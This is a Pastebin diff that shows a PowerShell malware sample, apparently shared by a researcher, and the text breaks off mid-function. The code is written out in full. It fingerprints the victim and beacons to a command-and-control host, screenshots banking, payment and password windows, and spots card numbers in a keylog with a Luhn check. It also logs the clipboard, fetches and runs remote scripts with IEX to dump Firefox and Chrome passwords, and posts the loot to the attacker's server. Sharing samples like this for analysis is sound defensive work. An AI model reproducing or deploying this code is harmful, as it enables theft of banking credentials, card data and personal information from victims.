View difference between Paste ID: kLQmVSLq and 7wYupkJL
SHOW: | | - or go back to the newest paste.
1
#sample found by @JohnLaTwc
2
    #$WebPostTimer = 1200
3
    #$WebGetTimer = 1200
4
    [void] [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")            
5
    [void] [Reflection.Assembly]::LoadWithPartialName("System.Drawing")    
6
    
7
    function New-Mutex($MutexName) {
8
    
9
    #[CmdletBinding()][OutputType([PSObject])]
10
    #Param ([Parameter(Mandatory)][ValidateNotNullOrEmpty()][string]$MutexName)
11
    $MutexWasCreated = $false
12
    $Mutex = $Null
13
    Write-Verbose "Waiting to acquire lock [$MutexName]..."
14
    [void][System.Reflection.Assembly]::LoadWithPartialName('System.Threading')
15
    try {
16
        $Mutex = [System.Threading.Mutex]::OpenExisting($MutexName)
17
    } catch {
18
        $Mutex = New-Object System.Threading.Mutex($true, $MutexName, [ref]$MutexWasCreated)
19
    }
20
    try { if (!$MutexWasCreated) { $Mutex.WaitOne() | Out-Null } } catch { }
21
    Write-Verbose "Lock [$MutexName] acquired. Executing..."
22
    Write-Output ([PSCustomObject]@{ Name = $MutexName; Mutex = $Mutex })
23
} # New-Mutex
24
function Remove-Mutex {
25
    <#
26
    .SYNOPSIS
27
    Removes a previously created Mutex
28
    .DESCRIPTION
29
    This function attempts to release a lock on a mutex created by an earlier call
30
    to New-Mutex.
31
    .PARAMETER MutexObject
32
    The PSObject object as output by the New-Mutex function.
33
    .INPUTS
34
    None. You cannot pipe objects to this function.
35
    .OUTPUTS
36
    None.
37
    #Requires -Version 2.0
38
    #>
39
    #[CmdletBinding()]
40
    #Param ([Parameter(Mandatory)][ValidateNotNull()][PSObject]$MutexObject)
41
    # $MutexObject | fl * | Out-String | Write-Host
42
    Write-Verbose "Releasing lock [$($MutexObject.Name)]..."
43
    try { [void]$MutexObject.Mutex.ReleaseMutex() } catch { }
44
} # Remove-Mutex
45
46
    new-mutex("Global\$env:username$((Get-Process -PID $pid).SessionID)")
47
    
48
    Function Get-StringHash([String] $String,$HashName = "MD5") 
49
    { 
50
    $StringBuilder = New-Object System.Text.StringBuilder 
51
    [System.Security.Cryptography.HashAlgorithm]::Create($HashName).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{ 
52
    [Void]$StringBuilder.Append($_.ToString("x2")) 
53
    } 
54
    $StringBuilder.ToString() 
55
    }
56
57
    Function IsVirtual
58
    {
59
                $wmibios = Get-WmiObject Win32_BIOS -ErrorAction Stop | Select-Object version,serialnumber 
60
                $wmisystem = Get-WmiObject Win32_ComputerSystem -ErrorAction Stop | Select-Object model,manufacturer
61
                $ResultProps = @{
62
                    ComputerName = $computer 
63
                    BIOSVersion = $wmibios.Version 
64
                    SerialNumber = $wmibios.serialnumber 
65
                    Manufacturer = $wmisystem.manufacturer 
66
                    Model = $wmisystem.model 
67
                    IsVirtual = $false 
68
                    VirtualType = $null 
69
                }
70
                if ($wmibios.SerialNumber -like "*VMware*") {
71
                    $ResultProps.IsVirtual = $true
72
                    $ResultProps.VirtualType = "Virtual - VMWare"
73
                }
74
                else {
75
                    switch -wildcard ($wmibios.Version) {
76
                        'VIRTUAL' { 
77
                            $ResultProps.IsVirtual = $true 
78
                            $ResultProps.VirtualType = "Virtual - Hyper-V" 
79
                        } 
80
                        'A M I' {
81
                            $ResultProps.IsVirtual = $true 
82
                            $ResultProps.VirtualType = "Virtual - Virtual PC" 
83
                        } 
84
                        '*Xen*' { 
85
                            $ResultProps.IsVirtual = $true 
86
                            $ResultProps.VirtualType = "Virtual - Xen" 
87
                        }
88
                    }
89
                }
90
                if (-not $ResultProps.IsVirtual) {
91
                    if ($wmisystem.manufacturer -like "*Microsoft*") 
92
                    { 
93
                        $ResultProps.IsVirtual = $true 
94
                        $ResultProps.VirtualType = "Virtual - Hyper-V" 
95
                    } 
96
                    elseif ($wmisystem.manufacturer -like "*VMWare*") 
97
                    { 
98
                        $ResultProps.IsVirtual = $true 
99
                        $ResultProps.VirtualType = "Virtual - VMWare" 
100
                    } 
101
                    elseif ($wmisystem.model -like "*Virtual*") { 
102
                        $ResultProps.IsVirtual = $true
103
                        $ResultProps.VirtualType = "Unknown Virtual Machine"
104
                    }
105
                }
106
                $results += New-Object PsObject -Property $ResultProps
107
                return $ResultProps.IsVirtual
108
                }
109
         
110
    function Escape-JSONString($str){
111
	if ($str -eq $null) {return ""}
112
	$str = $str.ToString().Replace('"','\"').Replace('\','\\').Replace("`n",'\n').Replace("`r",'\r').Replace("`t",'\t')
113
	return $str;
114
}
115
116
    function ConvertTo-JSON($maxDepth = 4,$forceArray = $false) {
117
	begin {
118
		$data = @()
119
	}
120
	process{
121
		$data += $_
122
	}
123
	
124
	end{
125
	
126
		if ($data.length -eq 1 -and $forceArray -eq $false) {
127
			$value = $data[0]
128
		} else {	
129
			$value = $data
130
		}
131
132
		if ($value -eq $null) {
133
			return "null"
134
		}
135
136
		
137
138
		$dataType = $value.GetType().Name
139
		
140
		switch -regex ($dataType) {
141
	            'String'  {
142
					return  "`"{0}`"" -f (Escape-JSONString $value )
143
				}
144
	            '(System\.)?DateTime'  {return  "`"{0:yyyy-MM-dd}T{0:HH:mm:ss}`"" -f $value}
145
	            'Int32|Double' {return  "$value"}
146
				'Boolean' {return  "$value".ToLower()}
147
	            '(System\.)?Object\[\]' { # array
148
					
149
					if ($maxDepth -le 0){return "`"$value`""}
150
					
151
					$jsonResult = ''
152
					foreach($elem in $value){
153
						#if ($elem -eq $null) {continue}
154
						if ($jsonResult.Length -gt 0) {$jsonResult +=', '}				
155
						$jsonResult += ($elem | ConvertTo-JSON -maxDepth ($maxDepth -1))
156
					}
157
					return "[" + $jsonResult + "]"
158
	            }
159
				'(System\.)?Hashtable' { # hashtable
160
					$jsonResult = ''
161
					foreach($key in $value.Keys){
162
						if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
163
						$jsonResult += 
164
@"
165
	"{0}": {1}
166
"@ -f $key , ($value[$key] | ConvertTo-JSON -maxDepth ($maxDepth -1) )
167
					}
168
					return "{" + $jsonResult + "}"
169
				}
170
	            default { #object
171
					if ($maxDepth -le 0){return  "`"{0}`"" -f (Escape-JSONString $value)}
172
					
173
					return "{" +
174
						(($value | Get-Member -MemberType *property | % { 
175
@"
176
	"{0}": {1}
177
"@ -f $_.Name , ($value.($_.Name) | ConvertTo-JSON -maxDepth ($maxDepth -1) )			
178
					
179
					}) -join ', ') + "}"
180
	    		}
181
		}
182
	}
183
}
184
185
function Get-SystemUptime ($computer = "$env:computername") {
186
    $lastboot = [System.Management.ManagementDateTimeconverter]::ToDateTime("$((gwmi  Win32_OperatingSystem).LastBootUpTime)")
187
    $uptime = (Get-Date) - $lastboot
188
    #Write-Host "System Uptime for $computer is: " $uptime.days "days" $uptime.hours "hours" $uptime.minutes "minutes" $uptime.seconds "seconds"
189
    return (($uptime.days).ToString()+"d:"+($uptime.hours).ToString()+"h:"+$uptime.minutes.ToString()+"m:"+($uptime.seconds).ToString()+"s")
190
}	
191
192
       
193
    $Screens = [system.windows.forms.screen]::AllScreens 
194
   
195
   foreach ($Screen in $Screens) {            
196
    $DeviceName = $Screen.DeviceName            
197
    $Width  = $Screen.Bounds.Width            
198
    $Height  = $Screen.Bounds.Height            
199
    $IsPrimary = $Screen.Primary            
200
}
201
    $ScreenshotPath = "$env:temp\39F28DD9-0677-4EAC-91B8-2112B1515341"
202
    if (-not (Test-Path $ScreenshotPath))
203
        {
204
            New-Item $ScreenshotPath -ItemType Directory -Force
205
        }
206
    $resolution = $Width.ToString()+"x"+$Height.ToString()
207
    $username = "$env:username".ToLower()
208
    $url = "https://wsusupdate.com"
209
    $hashid = Get-StringHash($(Get-WMIObject -class Win32_DiskDrive | Where-Object {$_.DeviceID -eq "\\.\PHYSICALDRIVE0"}).SerialNumber + `
210
                             $(Get-WmiObject -class Win32_OperatingSystem).SerialNumber )
211
    $cpu_name = $(Get-WmiObject -class "Win32_Processor" -namespace "root/CIMV2")[0].name
212
    if ($cpu_name -eq $null) { $cpu_name = $(Get-WmiObject -class "Win32_Processor" -namespace "root/CIMV2").name }
213
    $vm = IsVirtual
214
    $ram = ([Math]::Round((Get-WmiObject -Class win32_computersystem).TotalPhysicalMemory/1Gb)).toString()
215
    $os = (Get-WmiObject -class Win32_OperatingSystem).Caption
216
    $os_arch = (Get-WmiObject -class Win32_OperatingSystem).OSArchitecture
217
    $uptime = Get-SystemUptime
218
    #$ext_ip = (New-Object net.webclient).downloadstring("http://checkip.dyndns.com") -replace "[^\d\.]"
219
    $ext_ip = ''
220
    $timezone = [TimeZoneInfo]::Local.BaseUtcOffset.Hours
221
    $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
222
    if ((Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server').fDenyTSConnections -eq 1) { $rdp = $False }
223
        else { $rdp = $True }
224
    if($IsAdmin -ne $True){ 
225
        if( ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1 ) { $IsAdmin  = $True }
226
    }
227
228
    #$wan_speed = New-Object net.webclient; "{0:N2} Mbit/sec" -f ((100/(Measure-Command {$wc.Downloadfile('http://east.testmy.net/dl-100MB',"c:\speedtest.test")}).TotalSeconds)*8); del c:\speedtest.test
229
230
    if ((gwmi win32_computersystem).partofdomain -eq $true -and (gwmi win32_computersystem).domain -ne "WORKGROUP") {
231
        $domain = (gwmi win32_computersystem).domain.ToUpper()
232
        }
233
    else {$domain = 'nodomain'}
234
    $log_file = "$env:temp\key.log"
235
    $version = "04a"
236
237
$params = @{"resolution" = "$resolution"; "timezone" = "$timezone"; "uptime" = "$uptime"; "computer_name" = $env:computername.ToUpper(); "isadmin" = $isadmin; "username" = "$username"; "domain" = "$domain"; "cpu_name" = "$cpu_name"; "vm" = $vm; "ram" = "$ram"; `
238
            "hashid" = "$hashid"; "url" = "$url"; "log_file" = "$log_file"; "Screenshot_path" = "$ScreenshotPath"; "version" = "$version"; "os" = "$os"; "os_arch" = "$os_arch"; "rdp" = "$rdp"; "ext_ip" = "$ext_ip"}
239
240
241
242
$m = $params | ConvertTo-json
243
$m
244
245
246
function Invoke-Start 
247
       {
248
            $buffer = [System.Text.Encoding]::UTF8.GetBytes($m)
249
                try {
250
                    [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($params.url+"/start")
251
                    #[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create("https://dweffweew.com/start")
252
                    [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
253
                    $webRequest.ContentType = "application/json"
254
                    $webRequest.Timeout = 10000
255
                    $webRequest.Method = "POST"
256
                    $webRequest.ContentLength = $buffer.Length;
257
258
259
                    $requestStream = $webRequest.GetRequestStream()
260
                    $requestStream.Write($buffer, 0, $buffer.Length)
261
                    $requestStream.Flush()
262
                    $requestStream.Close()
263
264
                    [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
265
                    $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
266
                    $result = $streamReader.ReadToEnd()
267
                    return $result
268
                    }
269
                catch {
270
                return $_.Exception.Message
271
                }
272
       }
273
          
274
While ($True) { 
275
    $response = Invoke-Start
276
    if ($response -eq 'null') {
277
        break
278
        }
279
    $response
280
    Start-Sleep -s 1200
281
    continue
282
              }
283
            
284
285
286
function Title-Monitor
287
{
288
Start-Job -ScriptBlock {
289
Add-Type @"
290
  using System;
291
  using System.Runtime.InteropServices;
292
  public class UserWindows {
293
    [DllImport("user32.dll")]
294
    public static extern IntPtr GetForegroundWindow();
295
}
296
"@     
297
298
        $hashid = $args[0]
299
        $url = $args[1]
300
        $username = $args[2]
301
        $resolution = $args[3]
302
        $ScreenshotPath = $args[4]
303
304
function Get-ScreenShot
305
{
306
307
308
 $OutPath = "$env:temp\39F28DD9-0677-4EAC-91B8-2112B1515341"
309
            Add-Type -AssemblyName System.Windows.Forms
310
            
311
            
312
            $fileName = '{0}.jpg' -f (Get-Date).ToString('yyyyMMdd_HHmmss')
313
            $path = Join-Path $ScreenshotPath $fileName 
314
            $b = New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)
315
            $g = [System.Drawing.Graphics]::FromImage($b)
316
            $g.CopyFromScreen((New-Object System.Drawing.Point(0,0)), (New-Object System.Drawing.Point(0,0)), $b.Size)
317
            $g.Dispose()
318
            $myEncoder = [System.Drawing.Imaging.Encoder]::Quality
319
            $encoderParams = New-Object System.Drawing.Imaging.EncoderParameters(1) 
320
            $encoderParams.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter($myEncoder, 20) 
321
            $myImageCodecInfo = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders()|where {$_.MimeType -eq 'image/jpeg'}
322
            $b.Save($path,$myImageCodecInfo, $($encoderParams))
323
}
324
325
Get-ScreenShot
326
327
#filter Luhn($x){$l=$x.Length-1;$l..0|%{$d=$x[$_]-48;if($_%2-eq$l%2){$s+=$d}elseif($d-le4){$s+=$d*2}else{$s+=$d*2-9}};!($s%10)}
328
329
function Luhn([int[]]$digits){
330
 
331
    [int]$sum=0
332
    [bool]$alt=$false
333
334
    for($i = $digits.length - 1; $i -ge 0; $i--){
335
        if($alt){
336
            $digits[$i] *= 2
337
            if($digits[$i] -gt 9) { $digits[$i] -= 9 }
338
        }
339
340
        $sum += $digits[$i]
341
        $alt = !$alt
342
    }
343
    
344
    return ($sum % 10) -eq 0
345
}
346
347
348
$luhn_matches_previous = 0
349
while ($True) {
350
    $Process = Get-Process | ? {$_.MainWindowHandle -eq ([UserWindows]::GetForegroundWindow())}
351
352
    if (Test-Path "$env:TEMP\key.log") {
353
        $keystring = ''
354
        (Get-Content $env:temp\key.log) | foreach { $keystring += $_.split(",")[0].replace('"', '') }
355
        $luhn_matches = @()
356
        Select-String -Pattern "[456][0-9]{15}|3[0-9]{14}" -InputObject $keystring -AllMatches | foreach {$_.matches} | Select-String -NotMatch "(\d)\1{5,}" | foreach { if (luhn([int[]][string[]][char[]]$_.value) -eq $true) {$luhn_matches += $True}}
357
        if ($luhn_matches.length -lt $luhn_matches_previous) { $luhn_matches_previous = 0 }
358
        if (($luhn_matches -contains $True) -and ($luhn_matches.length -gt $luhn_matches_previous)) {
359
            
360
                1..20 | % { 
361
362
                Get-ScreenShot
363
                Start-Sleep -Seconds 5
364
                
365
                }
366
                $luhn_matches_previous = $luhn_matches.length
367
                }
368
                }
369
                
370
371
    
372
    
373
    if (Test-Path $env:temp\keywords.txt) {
374
        $keywords = ((Get-Content $env:temp\keywords.txt).split(' '))[1].split('|')
375
        foreach ($keyword in $keywords) {if (($Process.MainWindowTitle -clike "*$keyword*" ) -and (Test-Path "$env:TEMP\key.log")) {
376
        1..20 | % { 
377
            Get-ScreenShot
378
            Start-Sleep -Seconds 5
379
                  }
380
                                        }
381
                                          }
382
                                          }
383
    if (($Process.MainWindowTitle -like '*checkout*') -or ($Process.MainWindowTitle -like '*Pay-Me-Now*') `
384
    -or ($Process.MainWindowTitle -like '*Sign On - Citibank*') -or ($Process.MainWindowTitle -like 'Sign in or Register | eBay')`
385
    -or ($Process.MainWindowTitle -like '*Credit Card*') -or ($Process.MainWindowTitle -like '*Place Your Order*') `
386
    -or ($Process.MainWindowTitle -clike '*Banking*') -or ($Process.MainWindowTitle -like '*Log in to your PayPal account*') `
387
    -or ($Process.MainWindowTitle -like '*Expedia Partner*Central*') -or ($Process.MainWindowTitle -like '*Booking.com Extranet*') `
388
    -or ($Process.MainWindowTitle -like '*Chase Online - Logon*') -or ($Process.MainWindowTitle -like '*One Time Pay*') `
389
    -or ($Process.MainWindowTitle -clike '*LogMeIn*') -or ($Process.MainWindowTitle -clike '*Windows Security*') `
390
    -or ($Process.MainWindowTitle -like '*Choose a way to pay*') -or ($Process.MainWindowTitle -like '*payment information*') `
391
    -or ($Process.MainWindowTitle -clike '*Change Reservation*') -or ($Process.MainWindowTitle -clike '*POS*') `
392
    -or ($Process.MainWindowTitle -like '*Virtual*Terminal*') -or ($Process.MainWindowTitle -like '*PayPal: Wallet*') `
393
    -or ($Process.MainWindowTitle -like '*iatspayment*') -or ($Process.MainWindowTitle -like '*LogMeIn*') `
394
    -or ($Process.MainWindowTitle -clike '*Authorize.Net*') -or ($Process.MainWindowTitle -like '*LogMeIn*') `
395
    -or ($Process.MainWindowTitle -clike '*Discover Card*') -or ($Process.MainWindowTitle -like '*LogMeIn*') `
396
    -or ($Process.MainWindowTitle -like '*ewallet*') -or ($Process.MainWindowTitle -like '*arcot*') `
397
    -or ($Process.MainWindowTitle -clike '*PayTrace*') -or ($Process.MainWindowTitle -clike '*New Charge*') `
398
    -or ($Process.MainWindowTitle -clike '*Verification*') -or ($Process.MainWindowTitle -clike '*PIN*') `
399
    -or ($Process.MainWindowTitle -clike '*Authentication*') -or ($Process.MainWindowTitle -clike '*Password*') `
400
    -or ($Process.MainWindowTitle -clike '*Debit Card*') -or ($Process.MainWindowTitle -clike '*Activation*') `
401
    -or ($Process.MainWindowTitle -clike '*LastPass*') -or ($Process.MainWindowTitle -clike '*SSN*') `
402
    -or ($Process.MainWindowTitle -clike '*Driver*License*') -or ($Process.MainWindowTitle -clike '*Check-in for*') `
403
    -or ($Process.MainWindowTitle -clike '*Umpqua*') -or ($Process.MainWindowTitle -clike '*ePayment*') `
404
    -or ($Process.MainWindowTitle -clike '*Converge -*') -or ($Process.MainWindowTitle -clike '*Swipe*') `
405
    -or ($Process.MainWindowTitle -like '*Payrazr*') -or ($Process.MainWindowTitle -clike '*Hosted -*') `
406
    -and (Test-Path "$env:TEMP\key.log")) {
407
    1..20 | % { 
408
409
    Get-ScreenShot
410
    Start-Sleep -Seconds 5
411
}
412
}
413
Start-Sleep -Seconds 5
414
}
415
} -ArgumentList $params.hashid, $params.url, $params.username, $params.resolution, $params.Screenshot_Path
416
}
417
418
 
419
function Gclip {
420
    Start-Job -ScriptBlock {
421
422
        $PollInterval = 3
423
    
424
425
    Add-Type -AssemblyName System.Windows.Forms
426
427
    # used to check if the contents have changed
428
    $PrevLength = 0
429
    $PrevFirstChar = ""
430
431
    for(;;){
432
433
            # stolen/adapted from http://brianreiter.org/2010/09/03/copy-and-paste-with-clipboard-from-powershell/
434
            $tb = New-Object System.Windows.Forms.TextBox
435
            $tb.Multiline = $true
436
            $tb.Paste()
437
438
            # only output clipboard data if it's changed
439
            if (($tb.Text.Length -ne 0) -and ($tb.Text.Length -ne $PrevLength)){
440
                # if the length isn't 0, the length has changed, and the first character
441
                # has changed, assume the clipboard has changed
442
                # YES I know there might be edge cases :)
443
                if($PrevFirstChar -ne ($tb.Text)[0]){
444
                    $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
445
                    #Out-File -FilePath "$env:Temp\Applnsights_VisualStudio.txt" -Append -InputObject "`========== CLIPBOARD ==========`n" -Encoding unicode
446
                    Out-File -FilePath "$env:Temp\Applnsights_VisualStudio.txt" -Append -InputObject $tb.Text -Encoding unicode
447
                    $PrevFirstChar = ($tb.Text)[0]
448
                    $PrevLength = $tb.Text.Length 
449
                }
450
            }
451
        
452
        Start-Sleep -s $PollInterval
453
    }
454
    }
455
}    
456
457
458
function GetFF {
459
    Start-Job -ScriptBlock {
460
       function Escape-JSONString($str){
461
	if ($str -eq $null) {return ""}
462
	$str = $str.ToString().Replace('"','\"').Replace('\','\\').Replace("`n",'\n').Replace("`r",'\r').Replace("`t",'\t')
463
	return $str;
464
}
465
466
    function ConvertTo-JSON($maxDepth = 4,$forceArray = $false) {
467
	begin {
468
		$data = @()
469
	}
470
	process{
471
		$data += $_
472
	}
473
	
474
	end{
475
	
476
		if ($data.length -eq 1 -and $forceArray -eq $false) {
477
			$value = $data[0]
478
		} else {	
479
			$value = $data
480
		}
481
482
		if ($value -eq $null) {
483
			return "null"
484
		}
485
486
		
487
488
		$dataType = $value.GetType().Name
489
		
490
		switch -regex ($dataType) {
491
	            'String'  {
492
					return  "`"{0}`"" -f (Escape-JSONString $value )
493
				}
494
	            '(System\.)?DateTime'  {return  "`"{0:yyyy-MM-dd}T{0:HH:mm:ss}`"" -f $value}
495
	            'Int32|Double' {return  "$value"}
496
				'Boolean' {return  "$value".ToLower()}
497
	            '(System\.)?Object\[\]' { # array
498
					
499
					if ($maxDepth -le 0){return "`"$value`""}
500
					
501
					$jsonResult = ''
502
					foreach($elem in $value){
503
						#if ($elem -eq $null) {continue}
504
						if ($jsonResult.Length -gt 0) {$jsonResult +=', '}				
505
						$jsonResult += ($elem | ConvertTo-JSON -maxDepth ($maxDepth -1))
506
					}
507
					return "[" + $jsonResult + "]"
508
	            }
509
				'(System\.)?Hashtable' { # hashtable
510
					$jsonResult = ''
511
					foreach($key in $value.Keys){
512
						if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
513
						$jsonResult += 
514
@"
515
	"{0}": {1}
516
"@ -f $key , ($value[$key] | ConvertTo-JSON -maxDepth ($maxDepth -1) )
517
					}
518
					return "{" + $jsonResult + "}"
519
				}
520
	            default { #object
521
					if ($maxDepth -le 0){return  "`"{0}`"" -f (Escape-JSONString $value)}
522
					
523
					return "{" +
524
						(($value | Get-Member -MemberType *property | % { 
525
@"
526
	"{0}": {1}
527
"@ -f $_.Name , ($value.($_.Name) | ConvertTo-JSON -maxDepth ($maxDepth -1) )			
528
					
529
					}) -join ', ') + "}"
530
	    		}
531
		}
532
	}
533
}
534
535
            $url = $args[0]
536
            
537
            $resolution = $args[1]
538
            $domain = $args[2]
539
            $computer_name = $args[3]
540
            $username = $args[4]
541
            $timezone = $args[5]
542
            $hashid = $args[6]
543
            $version = $args[7]    
544
545
        [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
546
        & cmd /c %systemroot%\syswow64\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('https://wsusupdate.com/script?id=random&name=firefox'); Get-FoxDump -OutFile $env:temp\firefox.log; Exit"
547
        & cmd /c %systemroot%\system32\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('https://wsusupdate.com/script?id=random&name=firefox'); Get-FoxDump -OutFile $env:temp\firefox.log; Exit"
548
   
549
            If (Test-Path "$env:temp\firefox.log") { 
550
            $content = Get-Content $env:temp\firefox.log | Out-String
551
            $content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))
552
            $json = @{"resolution" = $resolution; "domain" = $domain; "computer_name" = $computer_name; "username" = $username; "timezone" = $timezone; "hashid" = $hashid; "version" = $version; "content" = $content; "type" = "ffbrwpwd"}
553
            $log_json = $json | ConvertTo-Json
554
            $buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
555
            [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url+"/pshlog")
556
            $webRequest.ContentType = "application/json"
557
            $webRequest.Timeout = 10000
558
            $webRequest.Method = "POST"
559
            $webRequest.ContentLength = $buffer.Length;
560
            $requestStream = $webRequest.GetRequestStream()
561
            $requestStream.Write($buffer, 0, $buffer.Length)
562
            $requestStream.Flush()
563
            $requestStream.Close()
564
565
            [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
566
            $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
567
            $result = $streamReader.ReadToEnd()
568
            Remove-Item "$env:temp\firefox.log"
569
            }
570
            } -ArgumentList $params.url, $params.resolution, $params.domain, $params.computer_name, $params.username, $params.timezone, $params.hashid, $params.version
571
            }
572
573
function GetChrome {
574
    Start-Job -ScriptBlock {
575
       function Escape-JSONString($str){
576
	if ($str -eq $null) {return ""}
577
	$str = $str.ToString().Replace('"','\"').Replace('\','\\').Replace("`n",'\n').Replace("`r",'\r').Replace("`t",'\t')
578
	return $str;
579
}
580
581
    function ConvertTo-JSON($maxDepth = 4,$forceArray = $false) {
582
	begin {
583
		$data = @()
584
	}
585
	process{
586
		$data += $_
587
	}
588
	
589
	end{
590
	
591
		if ($data.length -eq 1 -and $forceArray -eq $false) {
592
			$value = $data[0]
593
		} else {	
594
			$value = $data
595
		}
596
597
		if ($value -eq $null) {
598
			return "null"
599
		}
600
601
		
602
603
		$dataType = $value.GetType().Name
604
		
605
		switch -regex ($dataType) {
606
	            'String'  {
607
					return  "`"{0}`"" -f (Escape-JSONString $value )
608
				}
609
	            '(System\.)?DateTime'  {return  "`"{0:yyyy-MM-dd}T{0:HH:mm:ss}`"" -f $value}
610
	            'Int32|Double' {return  "$value"}
611
				'Boolean' {return  "$value".ToLower()}
612
	            '(System\.)?Object\[\]' { # array
613
					
614
					if ($maxDepth -le 0){return "`"$value`""}
615
					
616
					$jsonResult = ''
617
					foreach($elem in $value){
618
						#if ($elem -eq $null) {continue}
619
						if ($jsonResult.Length -gt 0) {$jsonResult +=', '}				
620
						$jsonResult += ($elem | ConvertTo-JSON -maxDepth ($maxDepth -1))
621
					}
622
					return "[" + $jsonResult + "]"
623
	            }
624
				'(System\.)?Hashtable' { # hashtable
625
					$jsonResult = ''
626
					foreach($key in $value.Keys){
627
						if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
628
						$jsonResult += 
629
@"
630
	"{0}": {1}
631
"@ -f $key , ($value[$key] | ConvertTo-JSON -maxDepth ($maxDepth -1) )
632
					}
633
					return "{" + $jsonResult + "}"
634
				}
635
	            default { #object
636
					if ($maxDepth -le 0){return  "`"{0}`"" -f (Escape-JSONString $value)}
637
					
638
					return "{" +
639
						(($value | Get-Member -MemberType *property | % { 
640
@"
641
	"{0}": {1}
642
"@ -f $_.Name , ($value.($_.Name) | ConvertTo-JSON -maxDepth ($maxDepth -1) )			
643
					
644
					}) -join ', ') + "}"
645
	    		}
646
		}
647
	}
648
}
649
650
            $url = $args[0]
651
            
652
            $resolution = $args[1]
653
            $domain = $args[2]
654
            $computer_name = $args[3]
655
            $username = $args[4]
656
            $timezone = $args[5]
657
            $hashid = $args[6]
658
            $version = $args[7]    
659
        
660
661
        [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
662
        & cmd /c %systemroot%\system32\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('https://wsusupdate.com/script?id=random&name=chrome'); Stop-Process -name chrome -ErrorAction SilentlyContinue; Start-sleep -seconds 3; Get-ChromeDump -OutFile $env:temp\chrome.log; Exit"
663
            Start-Sleep -Seconds 60
664
            If (Test-Path "$env:temp\chrome.log") { 
665
            #$content = [IO.File]::ReadAllText("$env:temp\chrome.log")
666
            $content = Get-Content "$env:temp\chrome.log" | Out-String
667
            $content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))
668
            $json = @{"resolution" = $resolution; "domain" = $domain; "computer_name" = $computer_name; "username" = $username; "timezone" = $timezone; "hashid" = $hashid; "version" = $version; "content" = $content; "type" = "chbrwpwd"}
669
            $log_json = $json | ConvertTo-Json
670
            $buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
671
            write-host $buffer
672
            $url+'/pshlog'
673
            [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url+'/pshlog')
674
            $webRequest.ContentType = "application/json"
675
            $webRequest.Timeout = 10000
676
            $webRequest.Method = "POST"
677
            $webRequest.ContentLength = $buffer.Length;
678
679
680
            $requestStream = $webRequest.GetRequestStream()
681
            $requestStream.Write($buffer, 0, $buffer.Length)
682
            $requestStream.Flush()
683
            $requestStream.Close()
684
685
            [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
686
            $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
687
            $result = $streamReader.ReadToEnd()
688
            }
689
            } -ArgumentList $params.url, $params.resolution, $params.domain, $params.computer_name, $params.username, $params.timezone, $params.hashid, $params.version
690
        }
691
692
function GetVault {
693
    Start-Job -ScriptBlock {
694
       function Escape-JSONString($str){
695
	if ($str -eq $null) {return ""}
696
	$str = $str.ToString().Replace('"','\"').Replace('\','\\').Replace("`n",'\n').Replace("`r",'\r').Replace("`t",'\t')
697
	return $str;
698
}
699
700
    function ConvertTo-JSON($maxDepth = 4,$forceArray = $false) {
701
	begin {
702
		$data = @()
703
	}
704
	process{
705
		$data += $_
706
	}
707
	
708
	end{
709
	
710
		if ($data.length -eq 1 -and $forceArray -eq $false) {
711
			$value = $data[0]
712
		} else {	
713
			$value = $data
714
		}
715
716
		if ($value -eq $null) {
717
			return "null"
718
		}
719
720
		
721
722
		$dataType = $value.GetType().Name
723
		
724
		switch -regex ($dataType) {
725
	            'String'  {
726
					return  "`"{0}`"" -f (Escape-JSONString $value )
727
				}
728
	            '(System\.)?DateTime'  {return  "`"{0:yyyy-MM-dd}T{0:HH:mm:ss}`"" -f $value}
729
	            'Int32|Double' {return  "$value"}
730
				'Boolean' {return  "$value".ToLower()}
731
	            '(System\.)?Object\[\]' { # array
732
					
733
					if ($maxDepth -le 0){return "`"$value`""}
734
					
735
					$jsonResult = ''
736
					foreach($elem in $value){
737
						#if ($elem -eq $null) {continue}
738
						if ($jsonResult.Length -gt 0) {$jsonResult +=', '}				
739
						$jsonResult += ($elem | ConvertTo-JSON -maxDepth ($maxDepth -1))
740
					}
741
					return "[" + $jsonResult + "]"
742
	            }
743
				'(System\.)?Hashtable' { # hashtable
744
					$jsonResult = ''
745
					foreach($key in $value.Keys){
746
